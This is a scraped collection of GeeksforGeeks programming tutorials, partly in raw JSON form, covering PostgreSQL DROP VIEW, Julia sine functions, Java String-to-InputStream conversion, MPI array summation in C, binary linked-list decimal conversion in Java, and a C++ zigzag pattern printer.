"s": 28230,
"text": "Since this view has been created from the first view named “StudentsView”, hence other objects depend on “StudentsView”. Now let us try to drop the view “StudentsView” using the DROP VIEW statement as shown here:"
},
{
"code": null,
"e": 28663,
"s": 28443,
"text": "DROP VIEW StudentsView;\n\nOutput:\n\nERROR: cannot drop view studentsview because other objects depend on it\nDETAIL: view myview depends on view studentsview\nHINT: Use DROP ... CASCADE to drop the dependent objects too."
},
{
"code": null,
"e": 28895,
"s": 28663,
"text": "Since RESTRICT was the default option hence it will not allow the view to be deleted if any other objects are depending on it and hence an error has been raised here. However, if we try to drop the myview, it can be simply dropped."
},
{
"code": null,
"e": 28972,
"s": 28895,
"text": "DROP VIEW myview;\n\nOutput:\nDROP VIEW\nQuery returned successfully in 73 msec."
},
{
"code": null,
"e": 29212,
"s": 28972,
"text": "So this how we can create and drop views in PostgreSQL. To check whether the view has been successfully dropped or not, simply run the SELECT * FROM view_name if it still exists or has been dropped. In this case, if we run the below Query:"
},
{
"code": null,
"e": 29233,
"s": 29212,
"text": "SELECT * from myview"
},
{
"code": null,
"e": 29334,
"s": 29233,
"text": "then an error will be raised showing that myview does not exist as we have already dropped “myview“."
},
{
"code": null,
"e": 29341,
"s": 29334,
"text": "Picked"
},
{
"code": null,
"e": 29358,
"s": 29341,
"text": "postgreSQL-views"
},
{
"code": null,
"e": 29369,
"s": 29358,
"text": "PostgreSQL"
},
{
"code": null,
"e": 29467,
"s": 29369,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 29497,
"s": 29467,
"text": "PostgreSQL - CREATE PROCEDURE"
},
{
"code": null,
"e": 29526,
"s": 29497,
"text": "PostgreSQL - GROUP BY clause"
},
{
"code": null,
"e": 29550,
"s": 29526,
"text": "PostgreSQL - DROP INDEX"
},
{
"code": null,
"e": 29578,
"s": 29550,
"text": "PostgreSQL - TIME Data Type"
},
{
"code": null,
"e": 29608,
"s": 29578,
"text": "PostgreSQL - REPLACE Function"
},
{
"code": null,
"e": 29635,
"s": 29608,
"text": "PostgreSQL - CREATE SCHEMA"
},
{
"code": null,
"e": 29668,
"s": 29635,
"text": "PostgreSQL - ROW_NUMBER Function"
},
{
"code": null,
"e": 29688,
"s": 29668,
"text": "PostgreSQL - SELECT"
},
{
"code": null,
"e": 29708,
"s": 29688,
"text": "PostgreSQL - Cursor"
}
] |
Getting sine and hyperbolic sine in Julia - sin(), sinh() and sind() Methods - GeeksforGeeks
|
26 Mar, 2020
The sin() is an inbuilt function in julia which is used to calculate sine of the specified radian values.
Syntax: sin(x)
Parameters:
x: Specified radian values.
Returns: It returns the calculated sine of the specified radian values.
Example:
# Julia program to illustrate # the use of sin() method # Getting sine of the specified# radian values.println(sin(0))println(sin(30))println(sin(90))println(sin(44))
Output:
0.0
-0.9880316240928618
0.8939966636005579
0.017701925105413577
The sinh() is an inbuilt function in julia which is used to calculate hyperbolic sine of the specified values.
Syntax: sinh(x)
Parameters:
x: Specified values.
Returns: It returns the calculated hyperbolic sine of the specified values.
Example:
# Julia program to illustrate # the use of sinh() method # Getting sine of the specified values.println(sinh(0))println(sinh(30))println(sinh(90))println(sinh(45))
Output:
0.0
5.343237290762231e12
6.102016471589204e38
1.7467135528742547e19
The sind() is an inbuilt function in julia which is used to calculate sine of the specified value in degrees.
Syntax: sind(x)
Parameters:
x: Specified value in degrees.
Returns: It returns the calculated sine of the specified value in degrees.
Example:
# Julia program to illustrate # the use of sind() method # Getting sine of the specified value # in degreeprintln(sind(0))println(sind(30))println(sind(90))println(sind(45))
Output:
0.0
0.5
1.0
0.7071067811865476
Julia
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Vectors in Julia
Getting rounded value of a number in Julia - round() Method
Decision Making in Julia (if, if-else, Nested-if, if-elseif-else ladder)
Storing Output on a File in Julia
Formatting of Strings in Julia
Manipulating matrices in Julia
Creating array with repeated elements in Julia - repeat() Method
Reshaping array dimensions in Julia | Array reshape() Method
while loop in Julia
Taking Input from Users in Julia
|
[
{
"code": null,
"e": 25683,
"s": 25655,
"text": "\n26 Mar, 2020"
},
{
"code": null,
"e": 25789,
"s": 25683,
"text": "The sin() is an inbuilt function in julia which is used to calculate sine of the specified radian values."
},
{
"code": null,
"e": 25804,
"s": 25789,
"text": "Syntax: sin(x)"
},
{
"code": null,
"e": 25816,
"s": 25804,
"text": "Parameters:"
},
{
"code": null,
"e": 25844,
"s": 25816,
"text": "x: Specified radian values."
},
{
"code": null,
"e": 25916,
"s": 25844,
"text": "Returns: It returns the calculated sine of the specified radian values."
},
{
"code": null,
"e": 25925,
"s": 25916,
"text": "Example:"
},
{
"code": "# Julia program to illustrate # the use of sin() method # Getting sine of the specified# radian values.println(sin(0))println(sin(30))println(sin(90))println(sin(44))",
"e": 26093,
"s": 25925,
"text": null
},
{
"code": null,
"e": 26101,
"s": 26093,
"text": "Output:"
},
{
"code": null,
"e": 26165,
"s": 26101,
"text": "0.0\n-0.9880316240928618\n0.8939966636005579\n0.017701925105413577"
},
{
"code": null,
"e": 26276,
"s": 26165,
"text": "The sinh() is an inbuilt function in julia which is used to calculate hyperbolic sine of the specified values."
},
{
"code": null,
"e": 26292,
"s": 26276,
"text": "Syntax: sinh(x)"
},
{
"code": null,
"e": 26304,
"s": 26292,
"text": "Parameters:"
},
{
"code": null,
"e": 26325,
"s": 26304,
"text": "x: Specified values."
},
{
"code": null,
"e": 26401,
"s": 26325,
"text": "Returns: It returns the calculated hyperbolic sine of the specified values."
},
{
"code": null,
"e": 26410,
"s": 26401,
"text": "Example:"
},
{
"code": "# Julia program to illustrate # the use of sinh() method # Getting sine of the specified values.println(sinh(0))println(sinh(30))println(sinh(90))println(sinh(45))",
"e": 26575,
"s": 26410,
"text": null
},
{
"code": null,
"e": 26583,
"s": 26575,
"text": "Output:"
},
{
"code": null,
"e": 26651,
"s": 26583,
"text": "0.0\n5.343237290762231e12\n6.102016471589204e38\n1.7467135528742547e19"
},
{
"code": null,
"e": 26761,
"s": 26651,
"text": "The sind() is an inbuilt function in julia which is used to calculate sine of the specified value in degrees."
},
{
"code": null,
"e": 26777,
"s": 26761,
"text": "Syntax: sind(x)"
},
{
"code": null,
"e": 26789,
"s": 26777,
"text": "Parameters:"
},
{
"code": null,
"e": 26820,
"s": 26789,
"text": "x: Specified value in degrees."
},
{
"code": null,
"e": 26895,
"s": 26820,
"text": "Returns: It returns the calculated sine of the specified value in degrees."
},
{
"code": null,
"e": 26904,
"s": 26895,
"text": "Example:"
},
{
"code": "# Julia program to illustrate # the use of sind() method # Getting sine of the specified value # in degreeprintln(sind(0))println(sind(30))println(sind(90))println(sind(45))",
"e": 27079,
"s": 26904,
"text": null
},
{
"code": null,
"e": 27087,
"s": 27079,
"text": "Output:"
},
{
"code": null,
"e": 27118,
"s": 27087,
"text": "0.0\n0.5\n1.0\n0.7071067811865476"
},
{
"code": null,
"e": 27124,
"s": 27118,
"text": "Julia"
},
{
"code": null,
"e": 27222,
"s": 27124,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 27239,
"s": 27222,
"text": "Vectors in Julia"
},
{
"code": null,
"e": 27299,
"s": 27239,
"text": "Getting rounded value of a number in Julia - round() Method"
},
{
"code": null,
"e": 27372,
"s": 27299,
"text": "Decision Making in Julia (if, if-else, Nested-if, if-elseif-else ladder)"
},
{
"code": null,
"e": 27406,
"s": 27372,
"text": "Storing Output on a File in Julia"
},
{
"code": null,
"e": 27437,
"s": 27406,
"text": "Formatting of Strings in Julia"
},
{
"code": null,
"e": 27468,
"s": 27437,
"text": "Manipulating matrices in Julia"
},
{
"code": null,
"e": 27533,
"s": 27468,
"text": "Creating array with repeated elements in Julia - repeat() Method"
},
{
"code": null,
"e": 27594,
"s": 27533,
"text": "Reshaping array dimensions in Julia | Array reshape() Method"
},
{
"code": null,
"e": 27614,
"s": 27594,
"text": "while loop in Julia"
}
] |
Java Program to Convert String to InputStream - GeeksforGeeks
|
12 Jun, 2021
Given a string, the task is to convert the string to InputStream which is shown in the below illustrations.
Illustration:
Input : String : "Geeks for Geeks"
Output : Input Stream : Geeks for Geeks
Input : String : "A computer science portal"
Output : Input stream : A computer science portal
In order to reach the goal, we need to use ByteArrayInputStream. So let us discuss how it’s done?
We can convert a String to an InputStream object by using the ByteArrayInputStream class. The ByteArrayInputStream is a subclass present in InputStream class. In ByteArrayInputStream there is an internal buffer present that contains bytes that reads from the stream.
Approach:
Get the bytes of the String.Create a new ByteArrayInputStream using the bytes of the StringAssign the ByteArrayInputStream object to an InputStream variable.Buffer contains bytes that read from the stream.Print the InputStream.
Get the bytes of the String.
Create a new ByteArrayInputStream using the bytes of the String
Assign the ByteArrayInputStream object to an InputStream variable.
Buffer contains bytes that read from the stream.
Print the InputStream.
Example:
Java
// Java Program to Convert String to InputStream// Using ByteArrayInputStream// Importing required librariesimport java.io.*;import java.io.BufferedReader;import java.io.ByteArrayInputStream;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.nio.charset.Charset; // Main classpublic class GFG { // main driver method public static void main(String[] args) throws IOException { // Custom inout string as an input String string = "Geeks for Geeks"; // Printing the above string System.out.print("String : " + string); // Now, using ByteArrayInputStream to // get the bytes of the string, and // converting them to InputStream InputStream stream = new ByteArrayInputStream(string.getBytes (Charset.forName("UTF-8"))); // Creating an object of BufferedReader class to // take input BufferedReader br = new BufferedReader(new InputStreamReader(stream)); // Printing the input stream // using rreadLine() method String str = br.readLine(); System.out.print("\nInput stream : "); // If string is not NULL while (str != null) { // Keep taking input System.out.println(str); str = br.readLine(); } }}
String : Geeks for Geeks
Input stream : Geeks for Geeks
simranarora5sos
Java-String-Programs
Picked
Java
Java Programs
Java
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Stream In Java
Constructors in Java
Exceptions in Java
Functional Interfaces in Java
Different ways of Reading a text file in Java
Java Programming Examples
Convert Double to Integer in Java
Implementing a Linked List in Java using Class
How to Iterate HashMap in Java?
Iterate through List in Java
|
[
{
"code": null,
"e": 25237,
"s": 25209,
"text": "\n12 Jun, 2021"
},
{
"code": null,
"e": 25345,
"s": 25237,
"text": "Given a string, the task is to convert the string to InputStream which is shown in the below illustrations."
},
{
"code": null,
"e": 25359,
"s": 25345,
"text": "Illustration:"
},
{
"code": null,
"e": 25436,
"s": 25359,
"text": "Input : String : \"Geeks for Geeks\"\nOutput : Input Stream : Geeks for Geeks "
},
{
"code": null,
"e": 25534,
"s": 25436,
"text": "Input : String : \"A computer science portal\"\nOutput : Input stream : A computer science portal "
},
{
"code": null,
"e": 25632,
"s": 25534,
"text": "In order to reach the goal, we need to use ByteArrayInputStream. So let us discuss how it’s done?"
},
{
"code": null,
"e": 25899,
"s": 25632,
"text": "We can convert a String to an InputStream object by using the ByteArrayInputStream class. The ByteArrayInputStream is a subclass present in InputStream class. In ByteArrayInputStream there is an internal buffer present that contains bytes that reads from the stream."
},
{
"code": null,
"e": 25909,
"s": 25899,
"text": "Approach:"
},
{
"code": null,
"e": 26137,
"s": 25909,
"text": "Get the bytes of the String.Create a new ByteArrayInputStream using the bytes of the StringAssign the ByteArrayInputStream object to an InputStream variable.Buffer contains bytes that read from the stream.Print the InputStream."
},
{
"code": null,
"e": 26166,
"s": 26137,
"text": "Get the bytes of the String."
},
{
"code": null,
"e": 26230,
"s": 26166,
"text": "Create a new ByteArrayInputStream using the bytes of the String"
},
{
"code": null,
"e": 26297,
"s": 26230,
"text": "Assign the ByteArrayInputStream object to an InputStream variable."
},
{
"code": null,
"e": 26346,
"s": 26297,
"text": "Buffer contains bytes that read from the stream."
},
{
"code": null,
"e": 26369,
"s": 26346,
"text": "Print the InputStream."
},
{
"code": null,
"e": 26378,
"s": 26369,
"text": "Example:"
},
{
"code": null,
"e": 26383,
"s": 26378,
"text": "Java"
},
{
"code": "// Java Program to Convert String to InputStream// Using ByteArrayInputStream// Importing required librariesimport java.io.*;import java.io.BufferedReader;import java.io.ByteArrayInputStream;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.nio.charset.Charset; // Main classpublic class GFG { // main driver method public static void main(String[] args) throws IOException { // Custom inout string as an input String string = \"Geeks for Geeks\"; // Printing the above string System.out.print(\"String : \" + string); // Now, using ByteArrayInputStream to // get the bytes of the string, and // converting them to InputStream InputStream stream = new ByteArrayInputStream(string.getBytes (Charset.forName(\"UTF-8\"))); // Creating an object of BufferedReader class to // take input BufferedReader br = new BufferedReader(new InputStreamReader(stream)); // Printing the input stream // using rreadLine() method String str = br.readLine(); System.out.print(\"\\nInput stream : \"); // If string is not NULL while (str != null) { // Keep taking input System.out.println(str); str = br.readLine(); } }}",
"e": 27713,
"s": 26383,
"text": null
},
{
"code": null,
"e": 27772,
"s": 27716,
"text": "String : Geeks for Geeks\nInput stream : Geeks for Geeks"
},
{
"code": null,
"e": 27790,
"s": 27774,
"text": "simranarora5sos"
},
{
"code": null,
"e": 27811,
"s": 27790,
"text": "Java-String-Programs"
},
{
"code": null,
"e": 27818,
"s": 27811,
"text": "Picked"
},
{
"code": null,
"e": 27823,
"s": 27818,
"text": "Java"
},
{
"code": null,
"e": 27837,
"s": 27823,
"text": "Java Programs"
},
{
"code": null,
"e": 27842,
"s": 27837,
"text": "Java"
},
{
"code": null,
"e": 27940,
"s": 27842,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 27955,
"s": 27940,
"text": "Stream In Java"
},
{
"code": null,
"e": 27976,
"s": 27955,
"text": "Constructors in Java"
},
{
"code": null,
"e": 27995,
"s": 27976,
"text": "Exceptions in Java"
},
{
"code": null,
"e": 28025,
"s": 27995,
"text": "Functional Interfaces in Java"
},
{
"code": null,
"e": 28071,
"s": 28025,
"text": "Different ways of Reading a text file in Java"
},
{
"code": null,
"e": 28097,
"s": 28071,
"text": "Java Programming Examples"
},
{
"code": null,
"e": 28131,
"s": 28097,
"text": "Convert Double to Integer in Java"
},
{
"code": null,
"e": 28178,
"s": 28131,
"text": "Implementing a Linked List in Java using Class"
},
{
"code": null,
"e": 28210,
"s": 28178,
"text": "How to Iterate HashMap in Java?"
}
] |
Sum of an array using MPI - GeeksforGeeks
|
28 Jun, 2019
Prerequisite: MPI – Distributed Computing made easy
Message Passing Interface(MPI) is a library of routines that can be used to create parallel programs in C or Fortran77. It allows users to build parallel applications by creating parallel processes and exchange information among these processes.MPI uses two basic communication routines:
MPI_Send, to send a message to another process.
MPI_Recv, to receive a message from another process.
The syntax of MPI_Send and MPI_Recv is:
int MPI_Send(void *data_to_send,
int send_count,
MPI_Datatype send_type,
int destination_ID,
int tag,
MPI_Comm comm);
int MPI_Recv(void *received_data,
int receive_count,
MPI_Datatype receive_type,
int sender_ID,
int tag,
MPI_Comm comm,
MPI_Status *status);
To reduce the time complexity of the program, parallel execution of sub-arrays is done by parallel processes running to calculate their partial sums and then finally, the master process(root process) calculates the sum of these partial sums to return the total sum of the array.
Examples:
Input : {1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
Output : Sum of array is 55
Input : {1, 3, 5, 10, 12, 20, 4, 50, 100, 1000}
Output : Sum of array is 1205
Note – You must have MPI installed on your Linux based system for executing the following program. For details to do so, please refer MPI – Distributed Computing made easy
Compile and run the program using following code:
mpicc program_name.c -o object_file
mpirun -np [number of processes] ./object_file
Below is the implementation of the above topic:
#include <mpi.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h> // size of array#define n 10 int a[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; // Temporary array for slave processint a2[1000]; int main(int argc, char* argv[]){ int pid, np, elements_per_process, n_elements_recieved; // np -> no. of processes // pid -> process id MPI_Status status; // Creation of parallel processes MPI_Init(&argc, &argv); // find out process ID, // and how many processes were started MPI_Comm_rank(MPI_COMM_WORLD, &pid); MPI_Comm_size(MPI_COMM_WORLD, &np); // master process if (pid == 0) { int index, i; elements_per_process = n / np; // check if more than 1 processes are run if (np > 1) { // distributes the portion of array // to child processes to calculate // their partial sums for (i = 1; i < np - 1; i++) { index = i * elements_per_process; MPI_Send(&elements_per_process, 1, MPI_INT, i, 0, MPI_COMM_WORLD); MPI_Send(&a[index], elements_per_process, MPI_INT, i, 0, MPI_COMM_WORLD); } // last process adds remaining elements index = i * elements_per_process; int elements_left = n - index; MPI_Send(&elements_left, 1, MPI_INT, i, 0, MPI_COMM_WORLD); MPI_Send(&a[index], elements_left, MPI_INT, i, 0, MPI_COMM_WORLD); } // master process add its own sub array int sum = 0; for (i = 0; i < elements_per_process; i++) sum += a[i]; // collects partial sums from other processes int tmp; for (i = 1; i < np; i++) { MPI_Recv(&tmp, 1, MPI_INT, MPI_ANY_SOURCE, 0, MPI_COMM_WORLD, &status); int sender = status.MPI_SOURCE; sum += tmp; } // prints the final sum of array printf("Sum of array is : %d\n", sum); } // slave processes else { MPI_Recv(&n_elements_recieved, 1, MPI_INT, 0, 0, MPI_COMM_WORLD, &status); // stores the received array segment // in local array a2 MPI_Recv(&a2, n_elements_recieved, MPI_INT, 0, 0, MPI_COMM_WORLD, &status); // calculates its partial sum int partial_sum = 0; for (int i = 0; i < n_elements_recieved; i++) partial_sum += a2[i]; // sends the partial sum to the root process MPI_Send(&partial_sum, 1, MPI_INT, 0, 0, MPI_COMM_WORLD); } // cleans up all MPI state before exit of process MPI_Finalize(); return 0;}
Output:
Sum of array is 55
Below is the snapshot of the processes calculating their partial sums:
Arrays
Articles
C Language
GBlog
Arrays
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
SQL Interview Questions
Mutex vs Semaphore
Time Complexity and Space Complexity
SQL | Views
SQL | GROUP BY
Arrays in C/C++
Dynamic Memory Allocation in C using malloc(), calloc(), free() and realloc()
std::sort() in C++ STL
Bitwise Operators in C/C++
Substring in C++
|
[
{
"code": null,
"e": 25801,
"s": 25773,
"text": "\n28 Jun, 2019"
},
{
"code": null,
"e": 25853,
"s": 25801,
"text": "Prerequisite: MPI – Distributed Computing made easy"
},
{
"code": null,
"e": 26141,
"s": 25853,
"text": "Message Passing Interface(MPI) is a library of routines that can be used to create parallel programs in C or Fortran77. It allows users to build parallel applications by creating parallel processes and exchange information among these processes.MPI uses two basic communication routines:"
},
{
"code": null,
"e": 26189,
"s": 26141,
"text": "MPI_Send, to send a message to another process."
},
{
"code": null,
"e": 26242,
"s": 26189,
"text": "MPI_Recv, to receive a message from another process."
},
{
"code": null,
"e": 26282,
"s": 26242,
"text": "The syntax of MPI_Send and MPI_Recv is:"
},
{
"code": null,
"e": 26696,
"s": 26282,
"text": "int MPI_Send(void *data_to_send, \n int send_count, \n MPI_Datatype send_type, \n int destination_ID, \n int tag, \n MPI_Comm comm); \n\nint MPI_Recv(void *received_data, \n int receive_count, \n MPI_Datatype receive_type,\n int sender_ID, \n int tag, \n MPI_Comm comm, \n MPI_Status *status);\n"
},
{
"code": null,
"e": 26975,
"s": 26696,
"text": "To reduce the time complexity of the program, parallel execution of sub-arrays is done by parallel processes running to calculate their partial sums and then finally, the master process(root process) calculates the sum of these partial sums to return the total sum of the array."
},
{
"code": null,
"e": 26985,
"s": 26975,
"text": "Examples:"
},
{
"code": null,
"e": 27133,
"s": 26985,
"text": "Input : {1, 2, 3, 4, 5, 6, 7, 8, 9, 10}\nOutput : Sum of array is 55\n\nInput : {1, 3, 5, 10, 12, 20, 4, 50, 100, 1000}\nOutput : Sum of array is 1205\n"
},
{
"code": null,
"e": 27305,
"s": 27133,
"text": "Note – You must have MPI installed on your Linux based system for executing the following program. For details to do so, please refer MPI – Distributed Computing made easy"
},
{
"code": null,
"e": 27355,
"s": 27305,
"text": "Compile and run the program using following code:"
},
{
"code": null,
"e": 27439,
"s": 27355,
"text": "mpicc program_name.c -o object_file\nmpirun -np [number of processes] ./object_file\n"
},
{
"code": null,
"e": 27487,
"s": 27439,
"text": "Below is the implementation of the above topic:"
},
{
"code": "#include <mpi.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h> // size of array#define n 10 int a[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }; // Temporary array for slave processint a2[1000]; int main(int argc, char* argv[]){ int pid, np, elements_per_process, n_elements_recieved; // np -> no. of processes // pid -> process id MPI_Status status; // Creation of parallel processes MPI_Init(&argc, &argv); // find out process ID, // and how many processes were started MPI_Comm_rank(MPI_COMM_WORLD, &pid); MPI_Comm_size(MPI_COMM_WORLD, &np); // master process if (pid == 0) { int index, i; elements_per_process = n / np; // check if more than 1 processes are run if (np > 1) { // distributes the portion of array // to child processes to calculate // their partial sums for (i = 1; i < np - 1; i++) { index = i * elements_per_process; MPI_Send(&elements_per_process, 1, MPI_INT, i, 0, MPI_COMM_WORLD); MPI_Send(&a[index], elements_per_process, MPI_INT, i, 0, MPI_COMM_WORLD); } // last process adds remaining elements index = i * elements_per_process; int elements_left = n - index; MPI_Send(&elements_left, 1, MPI_INT, i, 0, MPI_COMM_WORLD); MPI_Send(&a[index], elements_left, MPI_INT, i, 0, MPI_COMM_WORLD); } // master process add its own sub array int sum = 0; for (i = 0; i < elements_per_process; i++) sum += a[i]; // collects partial sums from other processes int tmp; for (i = 1; i < np; i++) { MPI_Recv(&tmp, 1, MPI_INT, MPI_ANY_SOURCE, 0, MPI_COMM_WORLD, &status); int sender = status.MPI_SOURCE; sum += tmp; } // prints the final sum of array printf(\"Sum of array is : %d\\n\", sum); } // slave processes else { MPI_Recv(&n_elements_recieved, 1, MPI_INT, 0, 0, MPI_COMM_WORLD, &status); // stores the received array segment // in local array a2 MPI_Recv(&a2, n_elements_recieved, MPI_INT, 0, 0, MPI_COMM_WORLD, &status); // calculates its partial sum int partial_sum = 0; for (int i = 0; i < n_elements_recieved; i++) partial_sum += a2[i]; // sends the partial sum to the root process MPI_Send(&partial_sum, 1, MPI_INT, 0, 0, MPI_COMM_WORLD); } // cleans up all MPI state before exit of process MPI_Finalize(); return 0;}",
"e": 30517,
"s": 27487,
"text": null
},
{
"code": null,
"e": 30525,
"s": 30517,
"text": "Output:"
},
{
"code": null,
"e": 30545,
"s": 30525,
"text": "Sum of array is 55\n"
},
{
"code": null,
"e": 30616,
"s": 30545,
"text": "Below is the snapshot of the processes calculating their partial sums:"
},
{
"code": null,
"e": 30623,
"s": 30616,
"text": "Arrays"
},
{
"code": null,
"e": 30632,
"s": 30623,
"text": "Articles"
},
{
"code": null,
"e": 30643,
"s": 30632,
"text": "C Language"
},
{
"code": null,
"e": 30649,
"s": 30643,
"text": "GBlog"
},
{
"code": null,
"e": 30656,
"s": 30649,
"text": "Arrays"
},
{
"code": null,
"e": 30754,
"s": 30656,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 30778,
"s": 30754,
"text": "SQL Interview Questions"
},
{
"code": null,
"e": 30797,
"s": 30778,
"text": "Mutex vs Semaphore"
},
{
"code": null,
"e": 30834,
"s": 30797,
"text": "Time Complexity and Space Complexity"
},
{
"code": null,
"e": 30846,
"s": 30834,
"text": "SQL | Views"
},
{
"code": null,
"e": 30861,
"s": 30846,
"text": "SQL | GROUP BY"
},
{
"code": null,
"e": 30877,
"s": 30861,
"text": "Arrays in C/C++"
},
{
"code": null,
"e": 30955,
"s": 30877,
"text": "Dynamic Memory Allocation in C using malloc(), calloc(), free() and realloc()"
},
{
"code": null,
"e": 30978,
"s": 30955,
"text": "std::sort() in C++ STL"
},
{
"code": null,
"e": 31005,
"s": 30978,
"text": "Bitwise Operators in C/C++"
}
] |
Java Program To Find Decimal Equivalent Of Binary Linked List - GeeksforGeeks
|
03 Jan, 2022
Given a singly linked list of 0s and 1s find its decimal equivalent.
Input: 0->0->0->1->1->0->0->1->0
Output: 50
Input: 1->0->0
Output: 4
The decimal value of an empty linked list is considered as 0.
Initialize the result as 0. Traverse the linked list and for each node, multiply the result by 2 and add the node’s data to it.
Java
// Java Program to find decimal value // of binary linked list class GFG{ // Link list Node static class Node { boolean data; Node next; }; // Returns decimal value of binary // linked liststatic int decimalValue(Node head) { // Initialized result int res = 0; // Traverse linked list while (head != null) { // Multiply result by 2 and // add head's data res = (res << 1) + (head.data?1:0); // Move next head = head.next; } return res; } // Utility function to create a // new node. static Node newNode(int data) { Node temp = new Node(); temp.data = (data == 1 ? true : false); temp.next = null; return temp; } // Driver codepublic static void main(String args[]){ // Start with the empty list Node head = newNode(1); head.next = newNode(0); head.next.next = newNode(1); head.next.next.next = newNode(1); System.out.print("Decimal value is " + decimalValue(head)); }}// This code is contributed by Arnab Kundu
Output :
Decimal value is 11
Please refer complete article on Decimal Equivalent of Binary Linked List for more details!
Juniper Networks
Java Programs
Linked List
Juniper Networks
Linked List
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Iterate Over the Characters of a String in Java
How to Get Elements By Index from HashSet in Java?
Java Program to Write into a File
How to Replace a Element in Java ArrayList?
Java Program to Read a File to String
Linked List | Set 1 (Introduction)
Linked List | Set 2 (Inserting a node)
Reverse a linked list
Stack Data Structure (Introduction and Program)
Linked List | Set 3 (Deleting a node)
|
[
{
"code": null,
"e": 26185,
"s": 26157,
"text": "\n03 Jan, 2022"
},
{
"code": null,
"e": 26254,
"s": 26185,
"text": "Given a singly linked list of 0s and 1s find its decimal equivalent."
},
{
"code": null,
"e": 26327,
"s": 26254,
"text": "Input: 0->0->0->1->1->0->0->1->0\nOutput: 50 \n\nInput: 1->0->0\nOutput: 4"
},
{
"code": null,
"e": 26389,
"s": 26327,
"text": "The decimal value of an empty linked list is considered as 0."
},
{
"code": null,
"e": 26517,
"s": 26389,
"text": "Initialize the result as 0. Traverse the linked list and for each node, multiply the result by 2 and add the node’s data to it."
},
{
"code": null,
"e": 26522,
"s": 26517,
"text": "Java"
},
{
"code": "// Java Program to find decimal value // of binary linked list class GFG{ // Link list Node static class Node { boolean data; Node next; }; // Returns decimal value of binary // linked liststatic int decimalValue(Node head) { // Initialized result int res = 0; // Traverse linked list while (head != null) { // Multiply result by 2 and // add head's data res = (res << 1) + (head.data?1:0); // Move next head = head.next; } return res; } // Utility function to create a // new node. static Node newNode(int data) { Node temp = new Node(); temp.data = (data == 1 ? true : false); temp.next = null; return temp; } // Driver codepublic static void main(String args[]){ // Start with the empty list Node head = newNode(1); head.next = newNode(0); head.next.next = newNode(1); head.next.next.next = newNode(1); System.out.print(\"Decimal value is \" + decimalValue(head)); }}// This code is contributed by Arnab Kundu",
"e": 27603,
"s": 26522,
"text": null
},
{
"code": null,
"e": 27613,
"s": 27603,
"text": "Output : "
},
{
"code": null,
"e": 27633,
"s": 27613,
"text": "Decimal value is 11"
},
{
"code": null,
"e": 27725,
"s": 27633,
"text": "Please refer complete article on Decimal Equivalent of Binary Linked List for more details!"
},
{
"code": null,
"e": 27742,
"s": 27725,
"text": "Juniper Networks"
},
{
"code": null,
"e": 27756,
"s": 27742,
"text": "Java Programs"
},
{
"code": null,
"e": 27768,
"s": 27756,
"text": "Linked List"
},
{
"code": null,
"e": 27785,
"s": 27768,
"text": "Juniper Networks"
},
{
"code": null,
"e": 27797,
"s": 27785,
"text": "Linked List"
},
{
"code": null,
"e": 27895,
"s": 27797,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 27943,
"s": 27895,
"text": "Iterate Over the Characters of a String in Java"
},
{
"code": null,
"e": 27994,
"s": 27943,
"text": "How to Get Elements By Index from HashSet in Java?"
},
{
"code": null,
"e": 28028,
"s": 27994,
"text": "Java Program to Write into a File"
},
{
"code": null,
"e": 28072,
"s": 28028,
"text": "How to Replace a Element in Java ArrayList?"
},
{
"code": null,
"e": 28110,
"s": 28072,
"text": "Java Program to Read a File to String"
},
{
"code": null,
"e": 28145,
"s": 28110,
"text": "Linked List | Set 1 (Introduction)"
},
{
"code": null,
"e": 28184,
"s": 28145,
"text": "Linked List | Set 2 (Inserting a node)"
},
{
"code": null,
"e": 28206,
"s": 28184,
"text": "Reverse a linked list"
},
{
"code": null,
"e": 28254,
"s": 28206,
"text": "Stack Data Structure (Introduction and Program)"
}
] |
Program to print the Zigzag pattern - GeeksforGeeks
|
11 Aug, 2021
Given a number N denoting the number of rows. The task is to print the zigzag pattern with N rows as shown in the below examples.Examples:
Input : N = 3
Output : 1
3*2
4*5*6
Input : N = 5
Output : 1
3*2
4*5*6
10*9*8*7
11*12*13*14*15
Approach:
Use a for loop for printing the number of rows.Use two variables var and var1 for odd and even rows respectively.When the row number is odd, calculate starting point of the row and then print and increment the variable simultaneously.When the row number is even, calculate corresponding starting point and print and decrement the variable simultaneously.
Use a for loop for printing the number of rows.
Use two variables var and var1 for odd and even rows respectively.
When the row number is odd, calculate starting point of the row and then print and increment the variable simultaneously.
When the row number is even, calculate corresponding starting point and print and decrement the variable simultaneously.
Below is the implementation of the above approach:
C++
Java
Python3
C#
PHP
Javascript
// CPP program to print the given// zigzag pattern #include<iostream>using namespace std; // Function to print the zigzag patternvoid printPattern(int n){ int var1, var = 1; for(int i = 1; i <= n; i++) { // for odd rows if(i%2!=0) { // calculate starting value var = var + i - 1; for(int j=1; j<=i; j++) { if(j==1) { cout<<var; } else cout<<"*"<<var; var++; } } else // for even rows { var1 = var + i -1; // calculate starting value for(int j=1; j<=i; j++) { if(j==1) { // print without star cout<<var1; } else { // print with star cout<<"*"<<var1; } var1--; } } cout<<endl; } } // Driver codeint main(){ int n = 5; printPattern(n); return 0;}
